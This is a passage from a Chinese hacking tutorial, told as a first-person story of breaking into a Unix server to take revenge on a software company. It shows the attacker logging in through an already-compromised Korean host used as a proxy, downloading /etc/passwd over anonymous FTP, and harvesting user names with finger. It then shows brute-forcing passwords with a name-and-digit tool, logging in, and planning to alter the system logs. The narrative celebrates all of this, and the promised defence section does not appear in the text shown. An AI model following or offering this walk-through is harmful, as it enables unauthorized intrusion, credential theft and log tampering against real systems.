作者:· ·周侃··天极e企业
§.前言
这篇文章主要针对一些对网络安全感兴趣、同时又还不怎么熟悉Unix入侵和防范的朋友们而写的一篇文章。本文循序渐进地介绍了黑客攻击Unix主机的主要方法和系统管理员如何针对这些方法进行有效的防御等。
§.Unix的特点
Unix能流行起来绝对不是偶然的,这跟Unix本身的特点之突出是分不开的特点,那就是:1、极强的可移植性;2、启动异步进程的能力;3、一致的文件、设备和进程间I/O;5、层次化的文件系统;6、可用其它Shell来替代默认Shell的能力; 7、真正的多用户和多任务。
列位注意,通常的Unix系统用户有两种:根用户和普通用户。
1.root——根用户
这是SuperUser(超级用户)的帐号,可以用这个帐号对本系统进行所有操作!获得对系统的根访问权限,也是黑客们拼命追求的终极目标。
2.普通用户
给User(普通用户)使用,具体权限由root分配的账户。可以有多个等级。黑客们多由此类账户开始试图进入系统,如下例就是如此。
§.攻击Unix系统的范例
先补了一些关于Unix的知识,下面我们要开始小试牛刀了。我们的攻击平台是一台安装了Redhat 6.0(内核版本2.2.5-15)的工作站(当然Win9x/Win2000上也可以试试啰!)。
声明:本文中的目标主机的IP分别是202.202.0.8、202.103.10.110和211.50.33.117,以上IP纯属本人杜撰。如该IP所属主机确实存在,则纯属巧合。
开始啦!
“又死机了!这是什么烂东西?可恶!”我愤怒地猛击键盘“还号称全智能化软件……给您‘身临其境的美妙体验'……,完全是放P!”我怒吼着。才买几天的英语学习软件就频频死机,而且花去了不菲的xxx大元人民币,使我有一种彻底受骗的感觉。“你这个骗子,我非要给你点厉害看看,看你还到处骗人!”我一边愤愤地叫着,一边抄下了包装盒上那个“骗子”软件公司的网址:www.shitsoft.com.cn 。当夜无话。
第二天。忙了一早上,直到中午吃完中餐后才闲下来,众人皆昏昏然欲见周公,我则坐到我的红帽子旁,开始了正义的惩罚……
首先找一台Proxy,这样就不会被反查法给抓到了。^_^ 不知原来那台韩国的“公鸡”还在不在?试一试:
bash# telnet 211.50.33.117
Red Hat Linux release 6.2 (Goozer)
Kernel 2.2.14-5.0 on an i686
login:crossbow
password:
bash$
Ok! 还可以用,这么长时间没有理它,竟然还可以用!韩国的管理员真是太“好”了!^_^ 接着ping一下我们的目标,看看它长得啥模样:
bash$ pwd
/home/crossbow
bash$ ping www.shitsoft.com.cn
Pinging www.shitsoft.com.cn [202.202.0.8] with 32 bytes of data:
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Reply from 202.202.0.8: bytes=32 time<10ms TTL=245
Ping statistics for 202.202.0.8:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
速度不慢,看IP是中国教育网的机器,从TTL看估计是一台Unix。验证一下:
bash$ telnet 202.202.0.8
SunOS 5.6
login:
呵呵,是一台SunOS 5.6的烂机器。先猜猜看:
login:adm
password:
Login incorrect
login:oracle
password:
Login incorrect
login:ftp
password:
Login incorrect
^C
可恶!今天火气真差!一个没猜到。:-( 用messala扫描一下看有没有CGI漏洞:(略去复杂的扫描过程)………… 结果是滴水不漏!:-( 这个鸟管理员还挺勤快的…… 只好用nss看看它开了什么服务吧!…………还好,telnet、ftp和finger的端口都打开了!^_^ 先看看有没有匿名ftp账户:
bash$ ftp 202.202.0.8
Connected to 202.202.0.8...
220 Cool FTP server(Version xxx Tue Dec 8 12:42:10 CDT 2001) ready.
Name(202.202.0.8:FakeName):anonymous
331 Guest login ok,send you complete e-mail address as password.
Password:
230:Welcome,archive user!
…………
…………
…………
ftp>
还行,匿名ftp服务没有关,竟然可以用anonymous账户进来了!赶紧抓他的passwd:
ftp>ls
…………
bin boot etc dev home lib usr proc lost+found root sbin src tmp usr var
…………
ftp>cd /etc
…………
ftp>ls *passwd*
…………
passwd passwd-
…………
不会如此简单吧?看一看?:
ftp>cat passwd|more
…………
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
telnet:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
ftp:60001:60001:Ftp:/:
noaccess:x:60002:60002:No Access User:/:
nobody:x:65534:65534:SunOS 4.x Nobody:/:
dennis:x:1005:20::/export/home/dennis:/bin/sh
walter:x:1001:100::/export/home/walter:/bin/sh
power:x:9589:101::/export/home/power:/bin/sh
deal:x:1035:20::/export/home/deal:/bin/sh
jessica:x:3000:300:Agent Client 1:/export/home/jessica:/bin/sh
smith:x:3001:300:Agent Client 2:/export/home/smith:/bin/sh
render:x:9591:101::/export/home/render:/bin/sh
…………
倒霉,是个空的passwd!看看备份:
ftp>cat passwd-|more
…………
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
telnet:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
ftp:60001:60001:Ftp:/:
noaccess:x:60002:60002:No Access User:/:
nobody :x:65534:65534:SunOS 4.x Nobody:/:
dennis:x:1005:20::/export/home/dennis:/bin/sh
walter:x:1001:100::/export/home/walter:/bin/sh
power:x:9589:101::/export/home/power:/bin/sh
deal:x:1035:20::/export/home/deal:/bin/sh
jessica:x:3000:300:Agent Client 1:/export/home/jessica:/bin/sh
smith:x:3001:300:Agent Client 2:/export/home/smith:/bin/sh
render:x:9591:101::/export/home/render:/bin/sh
…………
没救了,一样的!查查看有没有shadow文件:
ftp>ls *shadow*
…………
shadow shadow-
…………
哈哈,一般passwd是空的,那么密码就在shadow中!
ftp>cat shadow|more
…………
[sh$ cat shadow|more]: Permission denied
…………
可恶,看都不让看,试试备份文件:
ftp>cat shadow-|more
…………
[sh$ cat shadow-|more]: Permission denied
…………
都一样——不让看!Faint! 只好可怜惜惜地把空passwd抓回来——有几个用户名总比没有强吧?
ftp>get passwd
226 Transfer complete.
540 bytes received in 0.55 seconds (1.8Kbytes/s)
ftp>bye
221 Goodbye.
bash$
研究一下,除去root和被关掉的账号,还有七个可用账号:dennis、walter、power、deal、jessica、smith和render,他们就是我们进入该主机最后的希望。^_^ finger上场!
bash$ finger @202.202.0.8
[202.202.0.8 ]
LoginNameTTYIdleWhenWhere
daemon??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
walterWalter Wan pts/0202.202.0.114
dennisDennis Lee437 888wnet.net
power Power Xiong0202.202.0.10
dealH Wang pts/2202.202.0.11
admin ???< . . . . >
jessicaJessica Xiaopts/0202.202.0.9
smithSmith Liu pts/0202.202.0.13
render Renderpts/0202.103.10.117
ftp ???< . . . . >
好!我需要的Name出来了,赶快保存:
bash$ finger @202.202.0.8 >> /home/crossbow/name.lst
bash$ more /home/crossbow/name.lst
[202.202.0.8 ]
LoginNameTTYIdleWhenWhere
daemon ???< . . . . >
bin???< . . . . >
sys???< . . . . >
walterWalter Wanpts/0 202.202.0.114
dennisDennis Lee 437888wnet.net
powerPower Xiong0 202.202.0.10
dealH Wang pts/2202.202.0.11
admin???pts/0< . . . . >
jessicaJessica Xiao pts/0202.202.0.9
smith Smith Liu pts/0202.202.0.13
renderRender Chen0202.103.10.117
ftp???< . . . . >
由于很多人都用自己的姓名及变体作密码,我们就用他们的用户名、姓、和数字的各种组合试一试,成功率应该不低。这里我用一个我自己用C写的程序——got!来跑吧。got!它自己会用用户的姓、名和0-9数字的各种组合来尝试模拟telnet登陆,省时省力。^_^ 不过这种暴力破解法会在目标机的日志上留下痕迹。:-( 因此后面进去后一定记得把日志“加工”一下。它的用法是:got! -n 用户的姓 目标机器 用户名,你也可以用-f来指定字典文件暴力穷举。
bash$ got! -n wan 202.202.0.8 walter
Attempting...
N分钟以后…………
Failed!
bash$
见鬼!失败了一个,再试下一个:
bash$ got! -n lee 202.202.0.8 dennis
Attempting...
Failed!
bash$
再次失败,已经浪费了不少时间了!:-(“失败是成功之母”,不要灰心,接着来:
bash$ got! -n xiong 202.202.0.8 Power
Attempting...
Bingo!!!
The password of user 'power' is 'xiong99'! Good luck!
bash$
哈哈,得手了!终于搞到一个账户了——用户名:power;密码:xiong99。赶快用telnet吧!
bash$ telnet 202.202.0.8
SunOS 5.6
login:power
password:
Last login: Sun Dec 2 13:21:55 CDT 2001 from 202.202.0.10
Sun Microsystems Inc. SunOS 5.6
You have mail.
进来了!这个用户不久前还登陆过嘛!不过千万不要看mail,先看看现在有几个人:
$ w
13:07pm up 61 day(s), 3 users, …………
User tty login@ idle JCPU PCPU what
root pts/0 11:49am tail -f syslog
smith pts/5 12:13pmls -l *.c
power pts/7 13:07pm w
乖乖,管理员正在检查日志!可得小心点!看看这台Sun的版本细节:
$ uname -a
SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10
在看看这个用户的环境设置:
$ set
HOME=/export/home/power
HZ=100
IFS=
LOGNAME=power
MAIL=/var/mail/power
MAILCHEC